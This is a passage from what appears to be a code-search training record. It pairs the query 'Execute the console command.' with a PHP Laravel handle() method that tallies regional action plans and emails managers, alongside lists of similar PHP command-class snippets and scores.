__construct()\n {\n parent::__construct();\n\n $this->commandData = new CommandData($this, CommandData::$COMMAND_TYPE_API);\n }", "public function testNewCommand() : void\n {\n $this->assertFalse($this->command->hasArguments());\n $this->assertEquals(\"\", $this->command->getArguments());\n }", "protected function createCommandBuilder()\n\t{\n\t\treturn new CSqliteCommandBuilder($this);\n\t}", "public function __construct($command, $config = [])\n {\n $this->command = $command;\n $this->_output = $this->getDefaultOutput();\n parent::__construct($config);\n }", "public function __construct(){\n\n global $argv;\n\n if(!isset($argv[1])){\n echo 'You must supply a command!' . PHP_EOL;\n exit;\n }//if\n\n $args = $argv;\n\n $scriptName = array_shift($args);\n $method = array_shift($args);\n\n $method = explode('-',$method);\n foreach($method as $k => $v){\n if($k != 0){\n $method[$k] = ucwords($v);\n }//if\n }//foreach\n\n $method = implode('',$method);\n\n $resolved = false;\n\n if(method_exists($this,$method)){\n call_user_func(Array($this,$method), $args);\n $resolved = true;\n }//if\n else {\n foreach(static::$extendedCommands as $commandClass){\n if(method_exists($commandClass,$method)){\n call_user_func(Array($commandClass,$method), $args);\n $resolved = true;\n break;\n }//if\n }//foreach\n }//el\n\n if(!$resolved){\n echo \"`{$method}` is not a valid CLI command!\";\n }//if\n\n echo PHP_EOL;\n exit;\n\n }", "public function forCommand($command)\n {\n $this->command = $command;\n $this->pipe = new NullPipe();\n $this->manager = new InteractiveProcessManager($this->userInteraction);\n\n return $this;\n }", "public function __construct()\n {\n parent::__construct('pwman', '0.1.0');\n\n $getCommand = new Get();\n $this->add($getCommand);\n\n $setCommand = new Set();\n $this->add($setCommand);\n }", "public function create() {\n $class_name = $this->getOption('className');\n return new $class_name();\n }", "public function createCommand(?string $sql = null, array $params = []): Command;", "public function __construct($command = NULL, $name = NULL)\n {\n $args = func_get_args();\n\n switch ($command) {\n case self::CONSTR_CMD_POPULATE_SYNCED_ARRAY:\n case self::CONSTR_CMD_POP_FROM_ARR:\n case self::CONSTR_CMD_POP_FROM_OBJ:\n case self::CONSTR_CMD_POP_FROM_DB:\n case self::CONSTR_CMD_NEW:\n $this->setup_name = $name;\n\n # shift off known args\n array_shift($args);\n array_shift($args);\n break;\n }\n\n switch ($command) {\n case self::CONSTR_CMD_POP_FROM_ARR:\n $this->applyArray($args[0]);\n break;\n case self::CONSTR_CMD_POP_FROM_OBJ:\n break;\n case self::CONSTR_CMD_POP_FROM_DB:\n break;\n case self::CONSTR_CMD_POPULATE_SYNCED_ARRAY:\n $this->applyArray($args[0]);\n $this->setAllLoaded();\n break;\n default:\n throw new OrmInputException('Guessing not supported, please explicitly specify construction type');\n self::constructGuess($args);\n }\n\n $this->ensureObjectInDb();\n }", "public function generateCommands();", "protected function newInstanceCommand($commandClass)\n {\n $class = new ReflectionClass($commandClass);\n\n return $class->newInstanceArgs($this->resolveCommandParameters($class));\n }", "protected function buildCommand()\n {\n return $this->command;\n }", "public function makeItemCreateCommand(string $processUuid, array $item): ItemCreateCommand\n {\n $processUuid = ProcessUuid::fromNative($processUuid);\n $uuid = Uuid::fromNative(null);\n $item = Item::fromNative($item);\n\n return new ItemCreateCommand($processUuid, $uuid, $item);\n }", "public function __construct($commandName, $args = [], $description = '') {\n if (!$this->setName($commandName)) {\n $this->setName('--new-command');\n }\n $this->addArgs($args);\n\n if (!$this->setDescription($description)) {\n $this->setDescription('<NO DESCRIPTION>');\n }\n }", "public function getCommand($name, array $args = array())\n {\n return parent::getCommand($name, $args)\n ->setRequestSerializer(RequestSerializer::getInstance());\n }", "protected function buildCommand()\n {\n $command = new Command(\\Tivie\\Command\\DONT_ADD_SPACE_BEFORE_VALUE);\n $command\n ->chdir(realpath($this->repoDir))\n ->setCommand($this->gitDir)\n ->addArgument(new Argument('rev-parse'))\n ->addArgument(new Argument('HEAD'));\n\n return $command;\n }", "protected function instantiateCommand(Request $request, $args)\n {\n $command = new DeletePackageCustomerCommand($args);\n\n $requestBody = $request->getParsedBody();\n\n $this->setCommandFields($command, $requestBody);\n\n return $command;\n }", "public function createCommand($sql = null, $params = [])\n {\n $command = new Command([\n 'db' => $this,\n 'sql' => $sql,\n ]);\n\n return $command->bindValues($params);\n }", "protected function setCommand($value) {\n\t\t$this->_command = trim($value);\n\t\treturn $this;\n\t}", "public function setCommand($command)\n {\n $this->command = $command;\n\n return $this;\n }", "public function buildCommand()\n {\n return parent::buildCommand();\n }", "private function registerMakeModuleCommand()\n {\n $this->app->singleton('command.make.module', function($app) {\n return $app['Caffeinated\\Modules\\Console\\Generators\\MakeModuleCommand'];\n });\n\n $this->commands('command.make.module');\n }", "public function __construct()\n {\n parent::__construct();\n\n $this->currentDirectory = getcwd();\n $this->baseIndentLevel = 0;\n $this->registerCommand(\"Ling\\LingTalfi\\Kaos\\Command\\HelpCommand\", \"help\");\n $this->registerCommand(\"Ling\\LingTalfi\\Kaos\\Command\\InitializePlanetCommand\", \"init\");\n $this->registerCommand(\"Ling\\LingTalfi\\Kaos\\Command\\PackAndPushUniToolCommand\", \"packpushuni\");\n $this->registerCommand(\"Ling\\LingTalfi\\Kaos\\Command\\PackLightPluginCommand\", \"packlightmap\");\n $this->registerCommand(\"Ling\\LingTalfi\\Kaos\\Command\\PushCommand\", \"push\");\n $this->registerCommand(\"Ling\\LingTalfi\\Kaos\\Command\\PushUniverseSnapshotCommand\", \"pushuni\");\n $this->registerCommand(\"Ling\\LingTalfi\\Kaos\\Command\\UpdateSubscriberDependenciesCommand\", \"updsd\");\n\n }", "public function getCommand(string $command);", "protected function registerCommand(){\n\t\t$this->app->singleton('fakeid.command.setup', function ($app){\n\t\t\treturn new SetupCommand();\n\t\t});\n\n\t\t$this->commands('fakeid.command.setup');\n\t}", "public function addCommand($command, $args = [], $data = [])\n {\n $item = new ScreenCommand();\n $item->screen_id = $this->id;\n $item->command = $command;\n $item->arguments = $args;\n $item->fill($data);\n $item->save();\n\n return $item;\n }", "public function test_creating_command_from_container()\n {\n $now = new \\DateTime();\n $this->container->add('DateTime', $now);\n $command = 'Spekkionu\\DomainDispatcher\\Test\\Commands\\CommandWithConstructor';\n $result = $this->dispatcher->dispatch($command);\n $this->assertSame($now, $result);\n }", "protected function createProcess(): Process\n {\n $command = [\n $this->settings['executable']\n ];\n\n $command[] = $this->from;\n $command[] = $this->to;\n\n // Set the margins if needed.\n if ($this->settings['marginsType'] !== self::MARGIN_TYPE_NO_MARGINS) {\n $command[] = '--marginsType=' . $this->settings['marginsType'];\n }\n\n // If we need to proxy with node we just need to prepend the $command with `node`.\n if ($this->settings['proxyWithNode']) {\n array_unshift($command, 'node');\n }\n\n // If there's no graphical environment we need to prepend the $command with `xvfb-run\n // --auto-servernum`.\n if (! $this->settings['graphicalEnvironment']) {\n array_unshift($command, '--auto-servernum');\n array_unshift($command, 'xvfb-run');\n }\n\n return new Process($command);\n }", "private function registerCommand()\n {\n $this->app->singleton('command.shenma.push', function () {\n return new \\Larva\\Shenma\\Push\\Commands\\Push();\n });\n\n $this->app->singleton('command.shenma.push.retry', function () {\n return new \\Larva\\Shenma\\Push\\Commands\\PushRetry();\n });\n }", "public function __construct(string $command, string $before = '', string $after = '')\n {\n $this->command = $command;\n $this->before = $before;\n $this->after = $after;\n }", "public function generateCommand($singleCommandDefinition);", "public function create() {\n }", "public function create() {\n }", "public function create() {\r\n }", "public function create() {\n\n\t}", "private function getImportCommand()\n {\n return new IndexImportCommand(self::getContainer());\n }", "public function __construct($command)\n {\n $this->command = $command;\n\n $this->command->line('Installing Images: <info>✔</info>');\n }", "public function __construct()\n {\n self::$instance =& $this;\n\n $commanddir = Config::main('directory');\n $excludes = Config::main('exclude');\n\n if(is_null($commanddir))\n die('Could not find commands directory. It should be specified in the main config.');\n\n //The directory where commands reside should be relative\n //to the directory with the clip executable.\n $dir = realpath(__DIR__.\"/{$commanddir}\");\n\n $cmdfiles = scandir($dir);\n //Loop through each file in the commands directory\n foreach($cmdfiles as $file)\n {\n //Assume that each file uses the standard '.php' file extension.\n $command = substr($file, 0, -4);\n\n //Ignore the unnecessary directories as commands and anything that\n //has been marked for exclusion then attempt to include the valid ones.\n if($file !== '.' && $file !== '..' && array_search($command, $excludes) === false && include(\"{$dir}/{$file}\"))\n {\n if(class_exists($command, false))\n {\n $obj = new $command;\n //Only load commands that use the clip command interface\n if($obj instanceof Command)\n $this->commands[strtolower($command)] = $obj;\n }\n }\n }\n }", "public function __construct($action, $command = null) {\n parent::__construct($action, self::NAME);\n\n $fieldFactory = FieldFactory::getInstance();\n\n $commandField = $fieldFactory->createField(FieldFactory::TYPE_STRING, self::FIELD_COMMAND, $command);\n\n $this->addField($commandField);\n }", "public function createCommand($db = null, $action = 'get')\n {\n if ($db === null) {\n $db = Yii::$app->get(Connection::getDriverName());\n }\n $this->addAction($action);\n $commandConfig = $db->getQueryBuilder()->build($this);\n\n return $db->createCommand($commandConfig);\n }", "public function create();", "public function create();", "public function create();", "public function create();", "public function create();", "public function create();", "public function create();", "public function create();" ]
[ "0.8010746", "0.7333379", "0.72606754", "0.7164165", "0.716004", "0.7137585", "0.6748632", "0.67234164", "0.67178184", "0.6697025", "0.6677973", "0.66454077", "0.65622073", "0.65437883", "0.64838654", "0.64696646", "0.64292693", "0.6382209", "0.6378306", "0.63773245", "0.6315901", "0.6248427", "0.6241929", "0.6194334", "0.6081284", "0.6075819", "0.6069913", "0.60685146", "0.6055616", "0.6027874", "0.60132784", "0.60118896", "0.6011778", "0.5969603", "0.59618074", "0.5954538", "0.59404427", "0.59388787", "0.5929363", "0.5910562", "0.590651", "0.589658", "0.589658", "0.589658", "0.58692765", "0.58665586", "0.5866528", "0.58663124", "0.5852474", "0.5852405", "0.58442044", "0.58391577", "0.58154446", "0.58055794", "0.5795853", "0.5780188", "0.57653266", "0.57640004", "0.57584697", "0.575748", "0.5742612", "0.5739361", "0.5732979", "0.572247", "0.5701043", "0.5686879", "0.5685233", "0.56819254", "0.5675983", "0.56670785", "0.56606543", "0.5659307", "0.56567776", "0.56534046", "0.56343585", "0.56290466", "0.5626615", "0.56255764", "0.5608852", "0.5608026", "0.56063116", "0.56026554", "0.5599553", "0.5599351", "0.55640906", "0.55640906", "0.5561977", "0.5559745", "0.5555084", "0.5551485", "0.5544597", "0.55397296", "0.5529626", "0.552908", "0.552908", "0.552908", "0.552908", "0.552908", "0.552908", "0.552908", "0.552908" ]
0.0
-1
Execute the console command.
public function handle() { $apTable = 'action_plan_tb'; $processRegion = 'process_region_tb'; $userTable ='users_tb'; $sale ='销售'; $service ='售后'; $finance = '金融'; $seniors = []; //高级区域经理 /* $saleSenior = DB::select("select DISTINCT region_id from $apTable where state in('2','7') and type = '$sale' "); $serviceSenior = DB::select("select DISTINCT region_id from $apTable where state in('2','7') and type = '$service' "); $financeSenior = DB::select("select DISTINCT region_id from $apTable where state in('2','7') and type = '$finance' "); if ($saleSenior) { foreach($saleSenior as $v){ $RegionId = $v->region_id; $ProcessRegionValue = DB::table($processRegion)->where('region_id',[$RegionId])->where('type',$sale)->first(); if($ProcessRegionValue){ $userValue = DB::table($userTable)->where(['id'=>$ProcessRegionValue->sm_user_id,'state'=>1])->first(); if($userValue){ $seniors[] = [ 'id' => $ProcessRegionValue -> sm_user_id, 'name' => $userValue -> username, 'email' => $userValue->email, 'program' => DB::table($apTable)->where('state','2')->where(['type'=>$sale,'region_id'=>$RegionId])->count('id'), 'report' => DB::table($apTable)->where('state','7')->where(['type'=>$sale,'region_id'=>$RegionId])->count('id'), ]; } } } } if($serviceSenior){ foreach($serviceSenior as $services){ $serviceId = empty($services->region_id)?0:$services->region_id; $processRegionService = DB::table($processRegion)->where('region_id',[$serviceId])->where('type',$service)->first(); if($processRegionService){ $userServiceId = DB::table($userTable)->where(['id'=>$processRegionService->sm_user_id,'state'=>1])->first(); if($userServiceId){ $seniors[] = [ 'id' => $processRegionService -> sm_user_id, 'name' => $userServiceId -> username, 'email' => $userServiceId -> email, 'program'=> DB::table($apTable)->where('state','2')->where(['type'=>$service,'region_id'=>$serviceId])->count('id'), 'report'=> DB::table($apTable)->where('state','7')->where(['type'=>$service,'region_id'=>$serviceId])->count('id'), ]; } } } } if($financeSenior){ foreach($financeSenior as $finances){ $financeId = empty($finances->region_id)?0:$finances->region_id; $processRegionFinance = DB::table($processRegion)->where('region_id',[$financeId])->where('type',$finance)->first(); if($processRegionFinance){ $userfinceId = DB::table($userTable)->where(['id'=>$processRegionFinance->sm_user_id,'state'=>1])->first(); if($userfinceId){ $seniors[] = [ 'id' => $processRegionFinance -> sm_user_id, 'name' => $userfinceId -> username, 'email' => $userfinceId -> email, 'program'=> DB::table($apTable)->where('state','2')->where(['type'=>$finance,'region_id'=>$financeId])->count('id'), 'report'=> DB::table($apTable)->where('state','7')->where(['type'=>$finance,'region_id'=>$financeId])->count('id'), ]; } } } } */ $SeniorValue = DB::select("select region_id,type from $apTable where state in('2','7') and (type = '$sale' OR type = '$service' OR type = '$finance' ) "); foreach($SeniorValue as $val){ if($val->type == $sale){ $type = $sale; }elseif ($val->type == $service){ $type = $service; }else{ $type = $finance; } $RegionId = $val->region_id; $ProcessRegionValue = DB::table($processRegion)->where('region_id',[$RegionId])->where('type',$type)->first(); if($ProcessRegionValue){ $userValue = DB::table($userTable)->where(['id'=>$ProcessRegionValue->sm_user_id,'state'=>1])->first(); if($userValue){ $seniors[] = [ 'id' => $ProcessRegionValue -> sm_user_id, 'name' => $userValue -> username, 'email' => $userValue->email, 'program' => DB::table($apTable)->where('state','2')->where(['type'=>$type,'region_id'=>$RegionId])->count('id'), 'report' => DB::table($apTable)->where('state','7')->where(['type'=>$type,'region_id'=>$RegionId])->count('id'), ]; } } } if(!empty($seniors)){ //发送邮件 $email = new \App\Http\Controllers\Index\EmailController(); $email->seniorsEmail($seniors); }else{ return null; } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function handle()\n {\n\t\t$this->info('league fetching ..');\n $object = new XmlFeed();\n\t\t$object->fetchLeague($this->argument('sports_id'));\n\t\t$this->info('league saved');\n }", "public function handle()\n {\n //get us the Converter class instance and call the convert() method on it.\n $this->info(\n \\Aregsar\\Converter\\ConverterFacade::convert($this->argument(\"currency\"))\n );\n }", "public function handle()\n {\n $this->locale = $this->argument('locale');\n\n $this->loadGroupLines();\n\n $this->loadNameSpacedLines();\n\n $this->info('Complete');\n }", "public function handle()\n {\n $this->importUser($this->argument('username'));\n $this->call('ldap:show-user', $this->arguments());\n }", "public function handle() {\n $user = User::where('id', $this->argument('userId'))->first();\n $this->info($user->email);\n }", "public function handle()\n {\n $translations = collect(json_decode(file_get_contents('https://raw.githubusercontent.com/getbible/Bibles/master/translations.json')))->flatten();\n switch($this->argument('action')) {\n case 'fetch':\n $this->fetchBibles($translations);\n break;\n case 'convert':\n $this->convertBibles($translations);\n break;\n }\n }", "public function handle()\n {\n try {\n $evalstr = $this->evaluater->evaluate($this->argument('evalString'));\n $this->info($evalstr);\n } catch (ForbiddenSymbolsException $exception) {\n $this->error($exception->getMessage());\n } catch (IncorrectSymbolsException $exception) {\n $this->error($exception->getMessage());\n }\n }", "public function handle()\n {\n\n $settings = Setting::fetch();\n $id = $this->argument('id');\n $this->scrape_game_data($id);\n }", "public function handle()\n {\n // env('CALENDARINDEX_TOKEN', '6f2bd927201ba4b22bb57df08db0c517e51732de')\n $this->getData($this->argument('country'), $this->argument('region'));\n }", "public function handle()\n {\n $email = $this->argument('email');\n $name = $this->argument('name');\n\n $this->info(\"starting to generate users details\");\n\n }", "public function handle()\n {\n\t\t$this->info('Importing translations...');\n\n\t\t$this->manager->importTranslations(true);\n }", "public function handle()\n {\n $user = null;\n\n if ($email = $this->option(\"email\", false)) {\n $user = $this->findByEmail($email);\n }\n\n if ($id = $this->option(\"id\", false)) {\n $user = $this->findById($id);\n }\n\n if (empty($user)) {\n $this->warn(\"User no found\");\n }\n else {\n $this->setRoleToUser($user);\n }\n }", "public function handle()\n {\n $name = ucwords($this->argument('name'));\n $this->call('repository:contract', [ 'name' => $name ]);\n $this->call('repository:class', [ 'name' => $name, '--driver' => $this->option('driver') ]);\n }", "public function handle()\n\t{\n\t\t// Superuser\n\t\tif( ! $this->option('no-superuser'))\n\t\t\t$this->call('setup:superuser');\n\n\t\t// Countries\n\t\tif( ! $this->option('no-countries'))\n\t\t\t$this->call('setup:countries', ['country' => array_filter(explode(',', $this->option('countries')))]);\n\n\t\t// Languages\n\t\tif( ! $this->option('no-languages'))\n\t\t\t$this->call('setup:languages', ['language' => array_filter(explode(',', $this->option('languages')))]);\n\n\t\t// Currencies\n\t\tif( ! $this->option('no-currencies'))\n\t\t\t$this->call('setup:currencies', ['currency' => array_filter(explode(',', $this->option('currencies')))]);\n\n\t\t// Clear cache\n\t\t$this->call('cache:clear');\n\t}", "public function handle()\n\t{\n\t\t$name = $this->argument('name');\n\t\t\n\t\t$this->info(\"Searching eve api for {$name}\");\n\t\t$result = Corporation::searchEVEAPI($name);\n\n\t\t$this->info(\"results\");\n\t\tforeach($result as $corp)\n\t\t{\n\t\t\tprint $corp->name . \" \" . $corp->id . \"\\r\\n\";\n\t\t}\n\t}", "public function handle()\n {\n $user = $this->argument('user');\n $this->info('Display this on the screen, user ' . $user);\n return 0;\n }", "public function handle()\n {\n $this->userVectors->test($this->option('force'));\n }", "public function handle()\n {\n $mapping = $this->formatMappingName((string)$this->argument('mapping'));\n \n $model = $this->option('model') ? $this->formatModelName($this->option('model')) : null;\n \n $this->filesystem->put(\n $this->buildMappingFilePath($mapping),\n $this->buildMapping(\n $this->getDefaultStub(),\n $mapping,\n $model\n )\n );\n \n $this->composer->dumpAutoloads();\n }", "public function handle()\n {\n switch ($this->argument('type')) {\n case 'dns':\n $this->dnscheck->run($this->option('dry-run') ? true : false, $this->argument('domain'));\n break;\n case 'whois':\n $this->whoischeck->run($this->option('dry-run') ? true : false, $this->argument('domain'));\n break;\n }\n }", "public function handle()\n {\n $option = $this->argument('option');\n\n if (! in_array($option, ['expired', 'all'])) {\n return $this->error('Invalid option supplied to command...');\n }\n\n $this->comment('Beginning pruning process...');\n\n $this->comment($this->pruneDatabase($option) . ' deleted from database...');\n\n $this->comment($this->pruneFiles($option) . ' deleted from files...');\n\n $this->info('Nonces pruned successfully!');\n }", "public function handle()\n {\n $subscriptionUpdateService = new SubscriptionUpdateService();\n $subscriptionUpdateService->runUpdates();\n }", "public function handle()\n\t{\n\t\t\n\t\t$source_directory = $this->argument( 'source_directory' );\n\t\t$target_directory = $this->argument( 'target_directory' );\n\t\t$template = (string) $this->option( 'template' );\n\n\t\t$statik = new \\App\\Statik\\Statik;\n\n\t\t$statik->generateHTMLFiles( $this, $source_directory, $target_directory, $template ) && $this->info( \"\\e[1;32mDONE!\" );\n\n\t}", "public function handle()\n {\n if (!$this->argument('file')) {\n $this->info('Please specify file to call.');\n }\n\n $file = $this->argument('file');\n\n if (!$this->fileHandler->exists($file)) {\n $this->info('Wrong path or file not exist.');\n }\n\n $this->executeFile($file);\n }", "public function handle()\n {\n $user = $this->argument('user');\n $this->scanner->setUserName($user);\n $this->scanner->scanUser();\n }", "public function handle()\n {\n if ($this->argument('user')) {\n $userId = $this->argument('user');\n\n $this->info(\"Liquidate affiliate commission for user \" . $userId);\n\n $user = $this->userService->findById($userId);\n\n if ($user) {\n $this->walletService->liquidateUserBalance($user);\n } else {\n $this->error(\"User not found\");\n }\n\n $this->info(\"Done\");\n } else {\n $this->info(\"Liquidate all commissions\");\n\n $this->walletService->liquidateAllUsersBalance();\n\n $this->info(\"Done\");\n }\n }", "public function handle()\n {\n $action = $this->choice('what action do you have on mind', [\n 'add-relation', 'remove-columns', 'column-type', 'rename-column'\n ]);\n switch ($action) {\n case 'add-relation':\n $this->addRelation();\n break;\n\n case 'remove-columns':\n $this->removeColumns();\n break;\n case 'column-type':\n $this->columnType();\n break;\n case 'rename-column':\n $this->renameColumn();\n break;\n default:\n $this->error('Unsupported action requested...');\n }\n $this->info('Command executed successfully');\n }", "public function handle()\n {\n $arguments = $this->arguments();\n $storageDir = $arguments['storageDir'];\n $localStorageDir = $arguments['localStorageDir'];\n $url = $arguments['url'];\n $cmd = sprintf(\"./app/Console/Commands/ShellScripts/screen_shot.sh %s %s %s\", $storageDir, $localStorageDir, $url);\n\n while (true) {\n $result = shell_exec($cmd);\n print_r($result);\n sleep(3);\n }\n }", "public function handle()\n {\n $city = $this->argument('city');\n\n $weatherService = new CurrentWeatherService();\n try {\n $weather = $weatherService->getByCity($city);\n } catch (WeatherException $e) {\n $this->error($e->getMessage());\n return;\n }\n\n $this->info('Weather for city '.$city);\n dump($weather->toArray());\n }", "public function handle()\n {\n $this->getModels($this->argument('model'));\n $this->getLanguages($this->argument('locale'));\n $this->createMultiLanguageRecords();\n }", "public function handle()\n {\n $this->processOptions();\n\n echo json_encode( $this->dateTimeRange ) . \"\\n\";\n\n $this->dispatch( new ProcessNewActionsJob(\n $this->dateTimeRange ,\n str_random( 16 ),\n $this->option('runtime-threshold')\n ) );\n }", "public function handle()\n {\n $fightId = $this->argument('fight_id');\n $metricId = $this->argument('metric_id');\n //$strategyName = 'App\\\\'.$this->argument('metric_name');\n\n $metric = BossMetric::find($metricId);\n if ($metric === null) {\n $this->error(\"Error: no metric with id: $metricId found!\");\n return;\n }\n\n $fight = Fight::find($fightId);\n\n if ($fight === null) {\n $this->error(\"Error: no fight with id: $fightId found!\");\n return;\n }\n\n $strategy = $metric->getStrategy();\n $strategy->setFight($fight);\n $strategy->run();\n }", "public function handle()\n {\n\t\t$this->call('vendor:publish');\n\t\t$this->call('migrate');\n\t\t$this->call('db:seed');\n\t\t$this->call('factotum:storage');\n\t\t$this->call('factotum:storage');\n }", "public function handle()\n {\n $user_id = $this->argument('user') ?? null;\n\n if (is_null($user_id)) {\n $users = User::all();\n\n foreach ($users as $user) {\n $this->showUserBalance($user);\n }\n } else {\n $user = User::find($user_id);\n\n $this->showUserBalance($user);\n }\n }", "public function handle()\n {\n $this->capsuleService->getAll();\n $this->line('Command Worked');\n }", "public function handle()\n {\n $platform_wechat_id = $this->argument('id');\n $customer_id = $this->argument('customer_id');\n $this->info(\"Starting at \".date('Y-m-d H:i:s').\". Running initial for 【{$this->signature}】\");\n $this->getUserInfoList($platform_wechat_id,$customer_id);\n $this->info(\"End at \".date('Y-m-d H:i:s').\". over for 【{$this->signature}】\");\n }", "public function handle()\n {\n $this->publishAssets();\n $this->call('twill:flush-manifest');\n $this->call('view:clear');\n }", "public function handle()\n {\n \n $argument = $this->argument('data');\n \n $this->prepare( $argument );\n \n $this->make();\n \n $this->info( 'migration has been created : '. $this->fileName );\n \n }", "public function handle()\n {\n chdir(resource_path('assets/ts'));\n $path = $this->argument(\"path\");\n if(isset($path))\n {\n Logger::info('execute '.$path);\n Command::executeRaw('tsc', [\"-p\", $path]);\n }else\n Logger::info('execute tsc');\n Command::executeRaw('tsc');\n }", "public function handle()\n {\n $this->info('Starting date change command.');\n\n Word::where('language_id', 1)->update(array('created_at' => '1970-01-01 00:00:01'));\n Word::where('language_id', 2)->update(array('created_at' => '1970-01-01 00:00:01'));\n\n $this->info('Dates have been changed to 1970-01-01 00:00:01');\n }", "public function handle()\n {\n $this->info($this->slugger->encode($this->argument('id')));\n }", "public function handle()\n {\n $this->line(static::$logo);\n $this->line('Neat admin current version:' . Neat::version());\n\n $this->comment('');\n $this->comment('Available commands:');\n\n $this->listAvailableCommands();\n }", "public function handle()\n {\n $this->revisions->updateListFiles();\n }", "public function handle(): void\n {\n // Set argument\n $this->url = $this->argument(self::URL_ARGUMENT);\n\n // Handler takes care of computation\n (new CommandHandler($this))->compute();\n }", "public function handle()\n {\n try\n {\n $filename = $this->argument('filename');\n Excel::import(new ObjectsImport, $filename);\n\n $this->info('Data import is now completed');\n }\n catch(Exception $ex)\n {\n $this->error($ex->getMessage());\n }\n }", "public function handle() {\n $entity = $this->validateEntity($this->argument('entity'));\n $job = new DataProcessingJob($entity, str_random(16));\n $this->dispatch($job);\n }", "public function handle()\n {\n $isProductionMode = 'prod' == $this->argument('mode');\n\n if ($isProductionMode) {\n if (!$this->confirm('Are you sure to run in production mode? Running this command may cause critical issues?')) {\n exit(1);\n }\n }\n\n $this->_recalculate($isProductionMode);\n }", "public function handle()\n {\n if(!$this->verify()) {\n $rank = $this->createRankSuperAdmin();\n $user = $this->createUserSuperAdmin();\n $user->Ranks()->attach($rank);\n $this->line('Felicitaciones');\n } else {\n $this->error('No se puede ejecutar');\n }\n }", "public function handle()\n {\n // Get CLI Input\n $user_id = $this->option(\"uid\");\n\n // User Products\n ( new CommandManager() )->showUserProducts( $user_id );\n }", "public function handle()\n {\n $force = $this->option('force');\n\n if($this->option('without-bulk')){\n $this->withoutBulk = true;\n }\n\n if ($this->generateClass($force)){\n $this->info('Generating permissions for '.$this->modelBaseName.' finished');\n }\n }", "public function handle()\n {\n $tournaments = Tournament::all()->toArray();\n foreach ($tournaments as $tournament) {\n $slug = $this->tournamentRepoObj->generateSlug($tournament['name'].Carbon::createFromFormat('d/m/Y', $tournament['start_date'])->year,'');\n DB::table('tournaments')\n ->where('id', $tournament['id'])\n ->update([\n 'slug' => $slug\n ]);\n }\n $this->info('Script executed.');\n }", "public function handle()\n {\n $userId = $this->argument('user');\n\n /** @var User $user */\n $user = User::findOrFail($userId);\n\n // Get token.\n $info = (new Client())->auth();\n\n // Save to db.\n $user->access_token = $info['access_token'];\n $user->access_secret = $info['access_secret'];\n $user->save();\n\n $this->line(\"Saved access token and secret for user: {$user->email}\");\n }", "public function handle()\n {\n $m = new MemberFromText;\n $m->train();\n $id = $m->predict($this->argument('text'));\n dump(Miembro::find($id)->toArray());\n }", "public function handle()\n {\n $this->generator\n ->setConsole($this)\n ->run();\n }", "public function handle()\n {\n $this->createController();\n $this->createServiceDir();\n\n exit;\n $args = [\n '--provider' => TestProvider::class\n ];\n $className = $this->argument('className');\n if (!$className) {\n $className = 'MethodsList';\n }\n $className = ucwords($className);\n $this->call('vendor:publish', $args);\n $this->info('Display this on the screen ' . $className);\n }", "public function handle()\n {\n $this->createDirectories();\n\n $this->publishTests();\n\n $this->info('Authentication tests generated successfully.');\n }", "public function handle()\n {\n $this->setDbConnection(\n $this->input->getOption('database') ?: config('ghost-database.default_connection')\n );\n\n $native = $this->input->getOption('native-import') ?: config('ghost-database.use_native_importer');\n\n $snapshot = $this->import($native);\n\n $this->info(\"Snapshot `{$snapshot->name}` loaded!\");\n }", "public function handle()\n {\n $exec = $this->argument('exec');\n\n switch ($exec) {\n case 'download' :\n $this->download();\n break;\n\n case 'generate' :\n $this->generate();\n break;\n\n default :\n echo \"Choose 'download' or 'generate' for this command\";\n break;\n }\n }", "public function handle()\n {\n $this->call('ziggy:generate', ['path' => './resources/js/ziggy-admin.js', '--group' => 'admin']);\n $this->call('ziggy:generate', ['path' => './resources/js/ziggy-frontend.js', '--group' => 'frontend']);\n $this->call(TranslationsGenerateCommand::class);\n }", "public function handle()\n {\n $tenantName = $this->argument('tenant');\n\n $tenant = Tenant::where('name', $tenantName)->orWhere('subdomain', $tenantName)->first();\n\n if ($tenant) {\n $tenant->setActive();\n \\Artisan::call('tinker');\n } else {\n $this->error('Error: Tenant not found');\n }\n }", "public function handle()\n {\n try {\n if (!empty($userId = $this->argument('user'))) {\n $user = User::find($userId);\n } else {\n $user = User::inRandomOrder()->first();\n }\n\n if (empty($user)) {\n throw new \\Exception('User not found');\n }\n\n echo JWTAuth::fromUser($user);\n } catch (\\Exception $e) {\n echo $e->getMessage();\n }\n\n }", "public function handle()\n {\n $this->fetchAndSetToken();\n $imagesToDownload = $this->peekImages(WatchedApp::pluck('package_name'));\n $this->fetchImages($imagesToDownload);\n\n if ($this->option('dont-optimize')) {\n return;\n }\n\n $this->runOptimizeCommand();\n }", "public function handle()\n {\n $this->setCryptIVFromUrl($this->argument('url'));\n\n $participant = URLParser::parseByName('santa.index', $this->argument('url'))->participant;\n if($participant) {\n $draw = $participant->draw;\n } else {\n $draw = URLParser::parseByName('organizer.index', $this->argument('url'))->draw;\n }\n\n $this->table(\n ['ID', 'Name', 'Email'],\n $draw->participants()->get(['id', 'name', 'email'])->toArray()\n );\n }", "public function handle()\n {\n // if you are on the local environment\n if (!(app()->isLocal() || app()->runningUnitTests())) {\n $this->error('This command is only available on the local environment.');\n return;\n }\n\n $fqdn = $this->argument('fqdn');\n if ($tenant = Tenant::retrieveBy($fqdn)){\n $tenant->delete($fqdn);\n $this->info(\"Tenant {$fqdn} successfully deleted.\");\n }else {\n $this->error('This fqdn doesn\\'t exist.');\n }\n\n }", "public function handle()\n {\n $user_from = $this->option('from');\n $user_to = $this->option('to');\n $sum = $this->option('sum');\n\n CreateTransaction::dispatch($this->usersRepository->getByID($user_from), $this->usersRepository->getByID($user_to), $sum, true);\n $this->transactionsRepository->getAll()->each(function ($transaction){\n \tExecuteTransaction::dispatch($transaction);\n });\n }", "public function handle()\n {\n $this->warn('Starting Retrieve Data');\n\n PeopleService::retrieveData();\n\n $this->info('Retrieve Data Completed');\n }", "public function handle()\n {\n \n $period = $this->option('period');\n \n switch ($period) {\n\n case 'half_month':\n $this->info('Grabing Half Month Income...');\n $this->halfMonth();\n break;\n\n case 'monthly':\n $this->info('Grabing Monthly Income...');\n $this->monthly();\n break;\n \n default:\n $this->info('Grabing Daily Income...');\n $this->daily();\n break;\n\n }\n\n \n }", "public function handle()\n {\n $countryFiles = $this->getFiles();\n\n foreach ($countryFiles as $fileName) {\n $this->seed($fileName);\n }\n\n $this->info('End.');\n }", "public function fire()\n {\n $entityName = $this->argument('entityName');\n $startEntityId = $this->argument('startEntityId');\n $endEntityId = $this->argument('endEntityId');\n $depth = $this->argument('depth');\n\n $this->fixturePath = $this->option('outputPath');\n\n $this->info(\"Generating fixtures 